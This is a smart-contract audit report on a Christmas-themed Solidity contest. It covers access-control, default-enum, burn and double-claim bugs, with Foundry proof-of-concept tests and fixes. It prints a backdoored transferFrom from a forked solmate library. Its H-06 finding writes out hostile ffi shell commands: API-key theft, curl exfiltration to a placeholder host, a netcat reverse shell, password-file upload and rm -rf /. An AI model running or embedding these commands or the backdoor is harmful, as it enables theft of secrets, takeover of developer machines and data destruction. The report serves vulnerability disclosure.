Protocol Audit Report

Prepared by: Patrick Ngururi

https://github.com/Patrick-Ngururi

Table of contents

Protocol Summary

Protocol does X, Y, Z

Disclaimer

The Patrick's team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

	Impact
/	

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 91c8f8c94a9ff2db91f0ab2b2742cf1739dd6374
- In Scope:

Scope

```
./src/
#-- SantaToken.sol
#-- SantasList.sol
#-- TokenUri.sol
```

Roles

- `Santa` - Deployer of the protocol, should only be able to do 2 things:
  - `checkList` - Check the list once
  - `checkTwice` - Check the list twice
  - Additionally, it's OK if Santa mints themselves tokens.
- `User` - Can buyPresents and mint NFTs depending on their status of NICE, NAUGHTY, EXTRA-NICE or UNKNOWN

Contest Summary

Sponsor: AI First Flight #3

Dates: May 20th, 2026 - May 20th, 2026

See more contest details here

Results Summary

Number of findings:

- High: 6

- Medium: 1
- Low: 0

High Risk Findings

H-01. Anyone is able to call `checkList` function in SantasList contract and prevent any address from becoming `NICE` or `EXTRA_NICE` and collect present.

Root + Impact

Description

- Describe the normal behavior in one or more sentences
- Explain the specific issue or problem in one or more sentences

```
An attacker could simply call the external `checkList` function, passing as parameter the address of someone else and the enum Status `NAUGHTY`(or `NOT_CHECKED_TWICE`, which should actually be `UNKNOWN` given documentation).
By doing that, Santa will not be able to execute `checkTwice` function correctly for `NICE` and `EXTRA_NICE` people. Indeed, if Santa first checked a user and assigned the status `NICE` or `EXTRA_NICE`,  anyone is able to call `checkList` function again, and by doing so modify the status. This could result in Santa unable to execute the second check.
Moreover, any malicious actor could check the mempool and front run Santa just before calling `checkTwice` function to check users. This would result in a major denial of service issue.
```

Risk

Likelihood:

- Reason 1 // Describe WHEN this will occur (avoid using "if" statements)
- Reason 2

  ```
  *High*
  ```

Impact:

- Impact 1

```
*High*
```

- Impact 2

```
The impact of this vulnerability is HIGH as it results in a broken
mechanism of the check list system. Any user could be declared
`NAUGHTY` for the first check at any time, preventing present
collecting by users although Santa considered the user as `NICE` or
`EXTRA_NICE`.

Santa could still call `checkList` function again to reassigned the
status to `NICE` or `EXTRA_NICE` before calling `checkTwice` function,
but any malicious actor could front run the call to `checkTwice`
function. In this scenario, it would be impossible for Santa to
actually double check a `NICE` or `EXTRA_NICE` user.
```

Proof of Concept

```
Just copy paste this test in SantasListTest contract :
```
   function testDosAttack() external {
        vm.startPrank(makeAddr("attacker"));
        // any user can checList any address and assigned status to naughty
        // an attacker could front run Santa before the second check
        santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY);
        vm.stopPrank();

        vm.startPrank(santa);
        vm.expectRevert();
        // Santa is unable to check twice the user
        santasList.checkTwice(makeAddr("user"), SantasList.Status.NICE);
        vm.stopPrank();
    }
```
```

Recommended Mitigation

```
I suggest to add the `onlySanta` modifier to `checkList` function. This
will ensure the first check can only be done by Santa, and prevent DOS
attack on the contract. With this modifier, specification will be respected
:
```

```
"In this contract Only Santa to take the following actions:
  - checkList: A function that changes an address to a new Status of NICE,
EXTRA_NICE, NAUGHTY, or UNKNOWN on the original s_theListCheckedOnce list."

The following code will resolve this access control issue, simply by adding
`onlySanta` modifier:
```
```
    function checkList(address person, Status status) external onlySanta {
        s_theListCheckedOnce[person] = status;
        emit CheckedOnce(person, status);
    }
```
```
No malicious actor is now able to front run Santa before `checkTwice`
function call.

The following tests shows that doing the first check for another user is
impossible after adding `onlySanta` modifier:
```
```
    function testDosResolved() external {
        vm.startPrank(makeAddr("attacker"));
        // checklist function call will revert if a user tries to execute
the first check for another user
        vm.expectRevert(SantasList.SantasList__NotSanta.selector);
        santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY);
        vm.stopPrank();
    }
```
```

## H-02. All addresses are considered `NICE` by default and are able to claim a NFT through `collectPresent` function before any Santa check.

# Root + Impact

## Description

- Describe the normal behavior in one or more sentences
- Explain the specific issue or problem in one or more sentences

```
The vulnerability arises due to the order of elements in the enum. If the
first value is `NICE`, this means the enum value for each key in both
mappings will be `NICE`, as it corresponds to `0` value.
```

Risk

Likelihood:
```

- Reason 1 // Describe WHEN this will occur (avoid using "if" statements)
- Reason 2

```
*High*
```

Impact:

- Impact 1

```
*High*
```

- Impact 2

```
The impact of this vulnerability is HIGH as it results in a flawed
mechanism of the present distribution. Any unchecked address is
currently able to call `collectPresent` function and mint an NFT. This
is because this contract considers by default every address with a
`NICE` status (or 0 value).
```

Proof of Concept

```
The following Foundry test will show that any user is able to call
`collectPresent` function after `CHRISTMAS_2023_BLOCK_TIME` :
```
    function testCollectPresentIsFlawed() external {
        // prank an attacker's address
        vm.startPrank(makeAddr("attacker"));
        // set block.timestamp to CHRISTMAS_2023_BLOCK_TIME
        vm.warp(1_703_480_381);
        // collect present without any check from Santa
        santasList.collectPresent();
        vm.stopPrank();
    }
```

## Recommended Mitigation
```

I suggest to modify `Status` enum, and use `UNKNOWN` status as the first one. This way, all users will default to `UNKNOWN` status, preventing the successful call to `collectPresent` before any check form Santa:

```
enum Status {
        UNKNOWN,
        NICE,
        EXTRA_NICE,
        NAUGHTY
    }
```

After modifying the enum, you can run the following test and see that `collectPresent` call will revert if Santa didn't check the address and assigned its status to `NICE` or `EXTRA_NICE` :
```
    function testCollectPresentIsFlawed() external {
        // prank an attacker's address
        vm.startPrank(makeAddr("attacker"));
        // set block.timestamp to CHRISTMAS_2023_BLOCK_TIME
        vm.warp(1_703_480_381);
        // collect present without any check from Santa
        vm.expectRevert(SantasList.SantasList__NotNice.selector);
        santasList.collectPresent();
        vm.stopPrank();
    }
```

H-03. SantasList::buyPresent burns token from presentReceiver instead of caller and also sends present to caller instead of presentReceiver.

Root + Impact

Description

- Describe the normal behavior in one or more sentences
- Explain the specific issue or problem in one or more sentences

The vulnerability lies inside the SantasList contract inside the `buyPresent` function starting from line 172.

The buyPresent function takes in `presentReceiver` as an argument and burns the balance from `presentReceiver` instead of the caller i.e. `msg.sender`, as a result of which an attacker can specify any address for the `presentReceiver` that has approved or not approved the SantasToken (it doesn't matter whether they have approved token or not) to be spent by the SantasList contract, and as they are the caller of the function, they will

````
get the NFT while burning the SantasToken balance of the address specified
in `presentReceiver`.

This vulnerability occurs due to wrong implementation of the buyPresent
function instead of minting NFT to presentReceiver it is minted to caller
as well as the tokens are burnt from presentReceiver instead of burning
them from `msg.sender`.

Also, the NatSpec mentions that one has to approve `SantasList` contract to
burn their tokens but it is not required and even without approving the
funds can be burnt which means that the attacker can burn the balance of
everyone and mint a large number of NFT for themselves.

```cpp
/*
 * @notice Buy a present for someone else. This should only be callable by
anyone with SantaTokens.
 * @dev You'll first need to approve the SantasList contract to spend your
SantaTokens.
 */
function buyPresent(address presentReceiver) external {
@>  i_santaToken.burn(presentReceiver);
@>  _mintAndIncrement();
}
```
````

Risk

Likelihood:

- Reason 1 // Describe WHEN this will occur (avoid using "if" statements)
- Reason 2

  ```
  *High*
  ```

Impact:

- Impact 1

  ```
  *High*
  ```

- Impact 2

- Due to the wrong implementation of function, an attacker can mint NFT by burning the SantaToken of other users by passing their address for the `presentReceiver` argument. The protocol assumes that user has to approve the SantasList in order to burn token on their behalf but it will be burnt even though they didn't approve it to `SantasList` contract, because directly `_burn` function is called directly by the `burn` function and both of them don't check for approval.
- Attacker can burn the balance of everyone and mint a large number of NFT for themselves.

Proof of Concept

Add the test in the file: `test/unit/SantasListTest.t.sol`

Run the test:
```cpp
forge test --mt test_AttackerCanMintNft_ByBurningTokensOfOtherUsers
```

```cpp
function test_AttackerCanMintNft_ByBurningTokensOfOtherUsers() public {
    // address of the attacker
    address attacker = makeAddr("attacker");

    vm.startPrank(santa);

    // Santa checks user once as EXTRA_NICE
    santasList.checkList(user, SantasList.Status.EXTRA_NICE);

    // Santa checks user second time
    santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);

    vm.stopPrank();

    // christmas time 🌳🎁  HO-HO-HO
    vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME());

    // User collects their NFT and tokens for being EXTRA_NICE
    vm.prank(user);
    santasList.collectPresent();

    assertEq(santaToken.balanceOf(user), 1e18);

    uint256 attackerInitNftBalance = santasList.balanceOf(attacker);

    // attacker get themselves the present by passing presentReceiver as
user and burns user's SantaToken
    vm.prank(attacker);
```

```
    santasList.buyPresent(user);

    // user balance is decremented
    assertEq(santaToken.balanceOf(user), 0);
    assertEq(santasList.balanceOf(attacker), attackerInitNftBalance + 1);
}
```

Recommended Mitigation

```
- Burn the SantaToken from the caller i.e., `msg.sender`
- Mint NFT to the `presentReceiver`

```diff
+ function _mintAndIncrementToUser(address user) private {
+    _safeMint(user, s_tokenCounter++);
+ }

function buyPresent(address presentReceiver) external {
-   i_santaToken.burn(presentReceiver);
-   _mintAndIncrement();
+   i_santaToken.burn(msg.sender);
+   _mintAndIncrementToUser(presentReceiver);
}
```

By applying this recommendation, there is no need to worry about the approvals and the vulnerability - 'tokens can be burnt even though users don't approve' will have zero impact as the tokens are now burnt from the caller. Therefore, an attacker can't burn others token.
```

H-04. Any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function multiple times.

Root + Impact

Description

- Describe the normal behavior in one or more sentences
- Explain the specific issue or problem in one or more sentences

```
Let's imagine a scenario where an `EXTRA_NICE` user wants to collect present when it is Christmas time.  The user will call `collectPresent` function and will get 1 NFT and `1e18` SantaTokens. This user could now call `safetransferfrom` ERC-721 function in order to send the NFT to another wallet, while keeping SantaTokens on the same wallet (or send them
```

```
as well, it doesn't matter). After that, it is possible to call
`collectPresent` function again as ``balanceOf(msg.sender)` will be `0`
again.
```

Risk

Likelihood:

- Reason 1 // Describe WHEN this will occur (avoid using "if" statements)
- Reason 2

  ```
  *High*
  ```

Impact:

- Impact 1

  ```
  *High*
  ```

- Impact 2

  ```
  The impact of this vulnerability is HIGH as it allows any `NICE` user
  to mint as much NFTs as wanted, and it also allows any `EXTRA_NICE`
  user to mint as much NFTs and SantaTokens as desired.
  ```

Proof of Concept

```
The following tests shows that any `NICE` or `EXTRA_NICE` user is able to
call `collectPresent` function again after transferring the newly minted
NFT to another wallet.
- In the case of `NICE` users, it will be possible to mint an infinity of
NFTs, while transferring all of them in another wallet hold by the user.
- In the case of `EXTRA_NICE` users, it will be possible to mint an
infinity of NFTs and an infinity of SantaTokens.

```
    function testExtraNiceCanCollectTwice() external {
```
```

```
        vm.startPrank(santa);
        // Santa checks twice the user as EXTRA_NICE
        santasList.checkList(user, SantasList.Status.EXTRA_NICE);
        santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
        vm.stopPrank();

        // It is Christmas time!
        vm.warp(1_703_480_381);

        vm.startPrank(user);
        // User collects 1 NFT + 1e18 SantaToken
        santasList.collectPresent();
        // User sends the minted NFT to another wallet
        santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0);
        // User collect present again
        santasList.collectPresent();
        vm.stopPrank();

        // Users now owns 2e18 tokens, after calling 2 times collectPresent
function successfully
        assertEq(santaToken.balanceOf(user), 2e18);
    }
```

Recommended Mitigation

```
SantasList should implement in its storage a mapping to keep track of
addresses which already collected present through `collectPresent`
function.
We could declare as a state variable :
```
```
    mapping(address user => bool) private hasClaimed;
```
```
and then modify `collectPresent` function as follows:
```
```
    function collectPresent() external {
        // use SantasList__AlreadyCollected custom error to save gas
        require(!hasClaimed[msg.sender], "user already collected present");

        if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
            revert SantasList__NotChristmasYet();
        }

        if (s_theListCheckedOnce[msg.sender] == Status.NICE &&
s_theListCheckedTwice[msg.sender] == Status.NICE) {
            _mintAndIncrement();
            hasClaimed[msg.sender] = true;
            return;
        } else if (
            s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
                && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
```

```
        ) {
            _mintAndIncrement();
            i_santaToken.mint(msg.sender);
            hasClaimed[msg.sender] = true;

            return;
        }
        revert SantasList__NotNice();
    }
```

We just added a check that `hasClaimed[msg.sender]` is `false` to execute the rest of the function, while removing the check on `balanceOf`. Once present is collected, either for `NICE` or `EXTRA_NICE` people, we update `hasClaimed[msg.sender]` to `true`. This will prevent user to call `collectPresent` function.

If you run the previous test with this new implementation, it wail fail with the error `user already collected present`.

Here is a new test that checks the new implementation works as desired:

```
    function testCorrectCollectPresentImpl() external {
        vm.startPrank(santa);
        // Santa checks twice the user as EXTRA_NICE
        santasList.checkList(user, SantasList.Status.EXTRA_NICE);
        santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
        vm.stopPrank();

        // It is Christmas time!
        vm.warp(1_703_480_381);

        vm.startPrank(user);
        // User collects 1 NFT + 1e18 SantaToken
        santasList.collectPresent();
        // User sends the minted NFT to another wallet
        santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0);

        vm.expectRevert("user already collected present");
        santasList.collectPresent();
        vm.stopPrank();
    }
```

H-05. Malicious Code Injection in solmate ERC20 Contract inside `transferFrom` function which is inherited in `SantaToken`

Root + Impact

Description

- Describe the normal behavior in one or more sentences
- Explain the specific issue or problem in one or more sentences

```
Instead of using the official [Solmate's]
(https://github.com/transmissions11/solmate) ERC20 contract a [forked
Solmate](https://github.com/patrickalphac/solmate-
bad/tree/c3877e5571461c61293503f45fc00959fff4ebba) library was used which
contains the modified ERC20 contract.

The vulnerability arises due to the usage of unofficial solmate repo which
was forked from official solmate containing a commit involving the
malicious code injected inside the `transferFrom` function of the Solmate's
ERC20 contract.

The malicious code added to the `transferFrom` function allows a specific
Ethereum address `0x815F577F1c1bcE213c012f166744937C889DAF17` to transfer
tokens from any other address to a target address. This is done without
checking the approval status of the `from` address. This could lead to
unauthorized token transfers, potentially draining accounts without the
account owner's consent.

The address `0x815F577F1c1bcE213c012f166744937C889DAF17` is the same
address of the `South Pole Elves` mentioned in the `@author` field for the
Smart Contracts [here](https://github.com/Cyfrin/2023-11-Santas-
List/blob/main/src/SantasList.sol#L55).

The malicious code starts from the line 87 to line 96 inside the
`transferFrom` in the modified Solmate's ERC20 contract.
```cpp
function transferFrom(address from, address to, uint256 amount) public
virtual returns (bool) {
@>  // hehehe :)
@>  //
https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d017723
7d5beb70a0768d
@>  if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
@>      balanceOf[from] -= amount;
@>      unchecked {
@>          balanceOf[to] += amount;
@>      }
@>      emit Transfer(from, to, amount);
@>      return true;
@>  }

    uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited
approvals.

    if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed
- amount;

    balanceOf[from] -= amount;
```
```

```
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(from, to, amount);

        return true;
    }
    ```
```

## Risk

**Likelihood**:

- Reason 1 // Describe WHEN this will occur (avoid using "if" statements)
- Reason 2

```
*High*
```

Impact:

- Impact 1

```
*High*
```

- Impact 2

```
This vulnerability allows the attacker (with the ethereum adress - `0x815F577F1c1bcE213c012f166744937C889DAF17`) to arbitrarily transfer tokens from any address to any other address without requiring approval from the `from` address to attacker's address. This can lead to significant financial loss for token holders and can undermine the trust in the SantaToken.

Since the malicious code is present in ERC20 contract which is inherited in `SantaToken` which will allow the attacker to arbitrarily transfer SantaToken from any address to any other address and use the stolen SantaToken to buy present. Furthermore, if there are any other services which can be availed with SantaToken, then attacker can benefit from all of them.
```
```

Proof of Concept

````
Add the test in the file: `test/unit/SantasListTest.t.sol`.

Run the test:
```cpp
forge test --mt test_ElvesCanTransferTokenWithoutApprovals
```

```cpp
function test_ElvesCanTransferTokenWithoutApprovals() public {
    // address of the south pole elves
    address southPoleElves = 0x815F577F1c1bcE213c012f166744937C889DAF17;

    vm.startPrank(santa);

    // Santa checks user once as EXTRA_NICE
    santasList.checkList(user, SantasList.Status.EXTRA_NICE);

    // Santa checks user second time
    santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);

    vm.stopPrank();

    // christmas time 🌳🎁  HO-HO-HO
    vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME());

    // User collects their NFT and tokens for being EXTRA_NICE
    vm.prank(user);
    santasList.collectPresent();

    // Now the user have some SantaTokens
    uint256 userBalance = santaToken.balanceOf(user);
    assertEq(userBalance, 1e18);

    // user needs to give approval to others in order to move tokens to
other addresses via 'transferFrom'
    // but the south pole elves can move tokens of anyone without approval
permissions
    vm.prank(southPoleElves);
    bool success = santaToken.transferFrom(user, southPoleElves,
userBalance);

    assert(success == true);
    assertEq(santaToken.balanceOf(user), 0);
    assertEq(santaToken.balanceOf(southPoleElves), userBalance);
}
```
````

Recommended Mitigation

```
- Santa should first identify the specific elves who were responsible for
the malicious code and start their counselling as soon as possible and
teach them a nice lesson so that they don't write smart contracts with
malicious intent and should also motivate them to apply to Cyfrin Updraft.
- Use the ERC20 contract from the official Solmate's library. Always verify
the code before it is used in the SmartContract and always use code from
official source.
- Delete the malicious forked solmate library from the `lib` folder.
- Refactor the library installs in every place.

- `Makefile (Line - 13)`
```diff
- install :; forge install foundry-rs/forge-std --no-commit && forge
install openzeppelin/openzeppelin-contracts --no-commit && forge install
patrickalphac/solmate-bad --no-commit
+ install :; forge install foundry-rs/forge-std --no-commit && forge
install openzeppelin/openzeppelin-contracts --no-commit && forge install
transmissions11/solmate --no-commit
```

- `foundry.toml`
```diff
remappings = [
    '@openzeppelin/contracts=lib/openzeppelin-contracts/contracts',
-   '@solmate=lib/solmate-bad',
+   '@solmate=lib/solmate',
]
```

- `.gitmodules`
```diff
[submodule "lib/forge-std"]
    path = lib/forge-std
    url = https://github.com/foundry-rs/forge-std
[submodule "lib/openzeppelin-contracts"]
    path = lib/openzeppelin-contracts
    url = https://github.com/openzeppelin/openzeppelin-contracts
-[submodule "lib/solmate-bad"]
-   path = lib/solmate-bad
-   url = https://github.com/patrickalphac/solmate-bad
+[submodule "lib/solmate"]
+   path = lib/solmate
+   url = https://github.com/transmissions11/solmate
```
```

H-06. Malicious Test potentially allowing data extraction from the user running it

Root + Impact

Description

- Describe the normal behavior in one or more sentences
- Explain the specific issue or problem in one or more sentences

````
This is the malicious test, it looks inoffensive as it just create a file
called `youve-been-pwned` but there is no underlying reason for this test
to be here except a malicious behavior.

```javascript
    function testPwned() public {
        string[] memory cmds = new string[](2);
        cmds[0] = "touch";
        cmds[1] = string.concat("youve-been-pwned");
        cheatCodes.ffi(cmds);
    }
```

A more alarming scenario is demonstrated in the following proof of concept,
where the user's API key could be compromised:.

First export the api key in your shell

```bash
export ARBITRUMSCAN_API_KEY='MY_SECRET_KEY'
```

Then execute the test to store the API key in a file:

```javascript
    function testWriteCommande() public {
        string[] memory cmds = new string[](3);
        cmds[0] = "bash";
        cmds[1] = "-c";
        cmds[2] = "env | grep ARBITRUMSCAN_API_KEY > PwnedApiKey";
        cheatCodes.ffi(cmds);
    }
```

Alternatively, transmit it to an external server:

```javascript
cmds[2] = "curl 'https://<HACKER_IP>?arbitrum_rpc_url='$(env | grep
ARBITRUM_RPC_URL | cut -d '=' -f2)";
```
````

Risk

Likelihood:

- Reason 1 // Describe WHEN this will occur (avoid using "if" statements)
- Reason 2

```
*High*
```

Impact:

- Impact 1

```
*High*
```

- Impact 2

```
This issue is categorized as HIGH due to the direct risk it poses to
funds and sensitive information.

The test, as it stands, is harmful, as it is used in a security
contexts but i assume that the general purpose of this functionality
is to be harmfull.

It could lead to data breaches (including private keys and passwords),
unauthorized remote code execution, and the potential destruction of
digital information (e.g., rm -rf /).
```

Proof of Concept

```
### POC 1: Reverse Shell Using Netcat

This POC demonstrates how a test could open a reverse shell, allowing an
attacker to gain control over the user's machine.

```javascript

function testReverseShell() public {
    string[] memory cmds = new string[](3);
    cmds[0] = "bash";
    cmds[1] = "-c";
```
```

```
    cmds[2] = "nc -e /bin/bash <HACKER_IP> <PORT>";
    cheatCodes.ffi(cmds);
}
```

POC 2: Finding Files and Sending Results to a Server

This POC shows how a test could find specific files (starting with "pass") and send the results to a remote server.

```javascript

function testFindCommand() public {
    string[] memory cmds = new string[](3);
    cmds[0] = "bash";
    cmds[1] = "-c";
    cmds[2] = "find / -name 'pass*' | curl -F 'data=@-'
https://<HACKER_IP>/upload";
    cheatCodes.ffi(cmds);
}
```

POC 3: Destructive Command (rm -rf /)

This POC demonstrates a highly destructive command that could potentially erase all data on the user's root filesystem.

Warning: This command is extremely harmful and should never be executed.

```javascript

function testDestructiveCommand() public {
    string[] memory cmds = new string[](2);
    cmds[0] = "bash";
    cmds[1] = "-c";
    cmds[2] = "rm -rf /";
    cheatCodes.ffi(cmds);
}
```

Important Disclaimer: The rm -rf / command will delete everything on the filesystem for which the user has write permissions. It is provided here strictly for educational purposes to demonstrate the severity of security vulnerabilities in scripts and should never be run on any system.

Recommended Mitigation

Always exercise caution before running third-party programs on your system. Ensure you understand the functionality of any command or script to prevent unintended consequences, especially those involving security vulnerabilities.

Medium Risk Findings

M-01. Cost to buy NFT via SantasList::buyPresent is 2e18 SantaToken but it burns only 1e18 amount of SantaToken

Root + Impact

Description

- Describe the normal behavior in one or more sentences
- Explain the specific issue or problem in one or more sentences

```
The vulnerability lies in the code in the function `SantasList::buyPresent`
at line 173 and in `SantaToken::burn` at line 28.

The function `burn` burns a fixed amount of 1e18 SantaToken whenever
`buyPresent` is called but the true value of SantaToken that was expected
to be burnt to mint an NFT as present is 2e18.

```cpp
function buyPresent(address presentReceiver) external {
@>  i_santaToken.burn(presentReceiver);
    _mintAndIncrement();
}
```

```cpp
function burn(address from) external {
    if (msg.sender != i_santasList) {
        revert SantaToken__NotSantasList();
    }
@>  _burn(from, 1e18);
}
```
```

Risk

Likelihood:

- Reason 1 // Describe WHEN this will occur (avoid using "if" statements)
- Reason 2

```
*Medium*
```

Impact:

- Impact 1

```
*Medium*
```

- Impact 2

```
- Protocol mentions that user should be able to buy NFT for 2e18
amount of SantaToken but users can buy NFT for their friends by
burning only 1e18 tokens instead of 2e18, thus NFT can be bought at
much cheaper rate which is half of the true amount that was expected
to buy NFT.
- User can buy a present for themselves but docs strictly mentions
that present can be bought for someone else.
```

Proof of Concept

````
Add the test in the file: `test/unit/SantasListTest.t.sol`.

Run the test:
```cpp
forge test --mt test_UsersCanBuyPresentForLessThanActualAmount
```

```cpp
function test_UsersCanBuyPresentForLessThanActualAmount() public {
    vm.startPrank(santa);

    // Santa checks user once as EXTRA_NICE
    santasList.checkList(user, SantasList.Status.EXTRA_NICE);

    // Santa checks user second time
    santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);

    vm.stopPrank();

    // christmas time 🌳🎁  HO-HO-HO
    vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME());

    // user collects their present
````
````

```
    vm.prank(user);
    santasList.collectPresent();

    // balance after collecting present
    uint256 userInitBalance = santaToken.balanceOf(user);

    // now the user holds 1e18 SantaToken
    assertEq(userInitBalance, 1e18);

    vm.prank(user);
    santaToken.approve(address(santasList), 1e18);

    vm.prank(user);
    // user buy present
    // docs mention that user should only buy present for others, but they
can buy present for themselves
    santasList.buyPresent(user);

    // only 1e18 SantaToken is burnt instead of the true price (2e18)
    assertEq(santaToken.balanceOf(user), userInitBalance - 1e18);
}
```

Recommended Mitigation

Include an argument inside the `SantaToken::burn` to specify the amount of token to burn and also update the `SantasList::buyPresent` function with updated parameter for `burn` function to pass correct amount of tokens to burn.

- Update the `SantaToken::burn` function

```diff
-function burn(address from) external {
+function burn(address from, uint256 amount) external {
    if (msg.sender != i_santasList) {
        revert SantaToken__NotSantasList();
    }
-   _burn(from, 1e18);
+   _burn(from, amount);
}
```

- Update the `SantasList::buyPresent` function

```diff
+ error SantasList__ReceiverIsCaller();

function buyPresent(address presentReceiver) external {
+   if (msg.sender == presentReceiver) {
+       revert SantasList__ReceiverIsCaller();
+   }
-   i_santaToken.burn(presentReceiver);
```

```
+   i_santaToken.burn(presentReceiver, PURCHASED_PRESENT_COST);
    _mintAndIncrement();
}
```